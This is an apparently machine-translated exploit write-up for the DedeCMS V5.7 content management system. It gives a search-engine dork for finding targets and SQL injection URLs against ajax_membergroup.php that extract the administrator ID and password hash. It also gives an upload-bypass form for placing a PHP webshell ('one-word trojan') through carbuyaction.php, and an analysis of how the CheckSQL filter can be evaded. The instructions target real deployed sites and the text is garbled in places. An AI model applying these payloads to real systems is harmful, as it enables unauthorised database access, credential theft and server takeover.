Vulnerability type: Injection vulnerability, upload vulnerability
Vulnerability Description: Baidu search keyword "powered by DEDECMSV57_GBK 2004-2011 Desdev Inc." To obtain a website using the DEDECMS system.
Inject a vulnerability. First visit the "/data/admin/ver.txt" page to get the system last upgrade time, and then visit the "/member/ajax_membergroup.php?action=post&membergroup=1" page,
Then visit the "/member/ajax_membergroup.php?action=post&membergroup=1" page, as shown in the diagram to illustrate the vulnerability.
Then write the statement/member/ajax_membergroup.php?action=post&membergroup=@ ' ' Union select userid from '%23@__admin ' where 1 or id=@ "" View Administrator ID
/member/ajax_membergroup.php?action=post&membergroup=@ ' Union select pwd from '%23@__admin ' where 1 or id=@ ' View Administrator Password
Get the 19-bit, remove the top three and the last one, get the admin's 16-bit MD5
Upload a vulnerability. Request the website to open the new Member registration function, first registers the new member, does not need to pass through the mail authentication,
Just log in to the Member center and then visit the page link
"/plus/carbuyaction.php?dopost=memclickout&oid =s-p0rn8888&rs[code]=." /dialog/select_soft_post "
The upload page "/dialog/select_soft_post" has been successfully invoked via "/plus/carbuyaction.php"
So will php a word trojan extension to "RAR" and so on, using the submission page upload1.htm
<[/url ">http://www.sa666.com/plus/carbuy ... t&oid=s-p0rn8888&rs[code]= ... /dialog/select_soft_post "method=" POST "
Enctype= "Multipart/form-data" Name= "Form1" >
File:<input name= "UploadFile" type= "file"/><br>
Newname:<input name= "NewName" type= "text" value= "myfile. PHP "/>
<button type= "Submit" > Submit </button><br><br>
It's OK to change the URL to the destination URL. There is also a global variable submission, bypassing the registration can go to the black defense February issue above look.
--------------------------------------------------------------------------\
Vulnerability One:/member/ajax_membergroup.php page MemberGroup variables do not filter resulting in digital injection, the key code is as follows://Edit Group ElseIf ($action = = ' Post ') {if (empty $ MemberGroup)) {echo "You have not set up a group. ”; Exit $sql = "UPDATE ' #@__member_friends ' SET ' groupid ' = ' {$membergroup} ' WHERE ' fid ' = ' {$mid} ' and ' mid ' = ' {$ cfg_ml->m_id} ' ;”; $dsql->executenonequery ($sql); $row = $dsql->getone ("Select GroupName from #@__member_group WHERE mid = {$cfg _ml->m_id} and id={$membergroup}"); The numeric type injects echo "". $row [' groupname ']. " <a href= ' # ' onclick= ' Editmembergroup ($mid); return false; ' > Modify </a> "; It is obvious that when "action=post" $membergroup causes a digital injection vulnerability, DEDECMS uses the Checksql () custom function to perform security checks on the SQL statement before accessing the MySQL database and cannot be injected directly. Bypass the anti-injection. The Checksql () function is defined in the/include/dedesql.class.php or/include/dedesqli.class.php database class file with the following code: if (!function_exists (' Checksql ') {function checksql ($db _string, $querytype = ' select ') {global $cfg _cookie_encode; $clean = "; $error ="; $old _ pos = 0; $pos =-1; ... (abbreviated)//If it is a common query statement, directly filter some special syntax if ($querytype = = ' select ') {$notallow 1= "[^0-9a-z@\._-]{1,}" (Union|sLeep|benchmark|load_file|outfile) [^0-9a-z@\.-]{1,} "; [^0-9a-z@\._-]{1,} that is at least 1 non-numeric, lowercase letters, @ and other characters, if (Preg_match ("/") $notallow 1. " /", $db _string)) {//①preg_match does not use parameter I, use uppercase bypass, such as: Union puts (fopen ($log _file, ' A + ')," $userIP | $GETURL | | $db _string| | Selectbreak\r\n "); Exit ("<font size= ' 5′color= ' red ' >safe alert:request Error Step 1!</font>"); } while (TRUE) {$pos = Strpos ($db _string, ' \ ", $pos + 1); if ($pos = = FALSE) {break;}//② if" \ "is not present in the string $db_string, exit WHI Le Loop, existing continues down $clean. = substr ($db _string, $old _pos, $pos – $old _pos); while (TRUE) {... (abbreviated)} $clean. = ' $s $ '; ③ converts the characters between "\" and "\" in the string $db_string to "$s $", which is the string between trusts, bypassing the key $old of the prevention of injection _pos = $pos + 1; } ..... (Continue with the following code)} $clean. = substr ($db _string, $old _pos); $clean = Trim (Strtolower (preg_replace (' ~\s+~s '), Array ('), $clean)); ④ "\s" matches any white-space characters, including spaces, tabs, page breaks, and so on, $clean to lowercase//⑤ again check the Union keyword if (strpos ($clean, ' Union ')!== FALSE && preg_match (' ~(^| [^a-z]) Union ($|[ ^[a-z] ~s ', $clean)!= 0) {$fail = TRUE; $error = "Union Detect";}//⑥ check –, #, Benchmark, Load_file, outfile, select, and so on ElseIf ($clean, '/* ') > 2 | | strpos ($clean, ' – ') Strpos FALSE | | Trpos ($clean, ' # ')!== FALSE) {... (slightly)}//These functions will not be used, but hackers will use it to manipulate files, down the database ElseIf (Strpos ($clean, ' sleep ')!== FALSE && preg_match (' ~ ^|[ ^a-z]) sleep ($|[ ^[a-z] ~s ', $clean)!= 0) ... (slightly)//old version of MySQL does not support subqueries, our programs may also use less, but hackers can use it to query the database sensitive information ElseIf (Preg_match (' ~\ ([^)]*?select~s ', $clean)!= 0) {... (slightly)}